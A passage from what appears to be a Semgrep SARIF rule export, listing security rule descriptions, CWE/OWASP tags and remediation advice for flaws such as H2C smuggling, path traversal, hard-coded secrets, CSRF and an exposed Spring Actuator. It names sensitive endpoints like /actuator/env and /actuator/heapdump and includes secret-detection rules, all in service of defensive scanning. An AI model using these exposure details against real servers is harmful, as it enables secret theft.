H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers."},"help":{"markdown":"Conditions for Nginx H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling)\n - [https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c](https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c)\n","text":"Conditions for Nginx H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","id":"generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","name":"generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.insecure-hash.insecure-hash)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.insecure-hash.insecure-hash","id":"cpp.lang.security.crypto.insecure-hash.insecure-hash","name":"cpp.lang.security.crypto.insecure-hash.insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.insecure-hash.insecure-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal."},"help":{"markdown":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine)\n - [https://www.praetorian.com/blog/pathcombine-security-issues-in-aspnet-applications/](https://www.praetorian.com/blog/pathcombine-security-issues-in-aspnet-applications/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine?view=net-6.0#remarks)\n","text":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","id":"csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","name":"csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","id":"javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","name":"javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","id":"ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","name":"ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","id":"csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","name":"csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies."},"help":{"markdown":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage)\n - [https://www.npmjs.com/package/csurf](https://www.npmjs.com/package/csurf)\n - [https://www.npmjs.com/package/csrf](https://www.npmjs.com/package/csrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","id":"javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","name":"javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access."},"help":{"markdown":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_without_protection.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_without_protection.rb)\n - [https://www.acunetix.com/vulnerabilities/web/rails-mass-assignment/](https://www.acunetix.com/vulnerabilities/web/rails-mass-assignment/)\n","text":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","id":"ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","name":"ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined."},"help":{"markdown":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace)\n - [https://github.com/returntocorp/semgrep-rules/issues/518](https://github.com/returntocorp/semgrep-rules/issues/518)\n","text":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","id":"go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","name":"go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS."},"help":{"markdown":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n","text":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","id":"javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","name":"javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data"},"help":{"markdown":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid)\n - [https://docs.djangoproject.com/en/4.2/ref/forms/api/#accessing-clean-data](https://docs.djangoproject.com/en/4.2/ref/forms/api/#accessing-clean-data)\n","text":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data"},"helpUri":"https://semgrep.dev/r/python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","id":"python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","name":"python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk."},"help":{"markdown":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled)\n - [https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html#production-ready-endpoints-exposing-endpoints](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html#production-ready-endpoints-exposing-endpoints)\n - [https://medium.com/walmartglobaltech/perils-of-spring-boot-actuators-misconfiguration-185c43a0f785](https://medium.com/walmartglobaltech/perils-of-spring-boot-actuators-misconfiguration-185c43a0f785)\n - [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)\n","text":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","id":"java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","name":"java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","id":"python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","name":"python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information."},"help":{"markdown":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","id":"terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","name":"terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Square OAuth Secret detected"},"help":{"markdown":"Square OAuth Secret detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret)\n - [https://github.com/Yelp/detect-secrets/blob/master/tests/plugins/square_oauth_test.py](https://github.com/Yelp/detect-secrets/blob/master/tests/plugins/square_oauth_test.py)\n","text":"Square OAuth Secret detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","id":"generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","name":"generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","id":"terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","name":"terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","id":"javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","name":"javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks 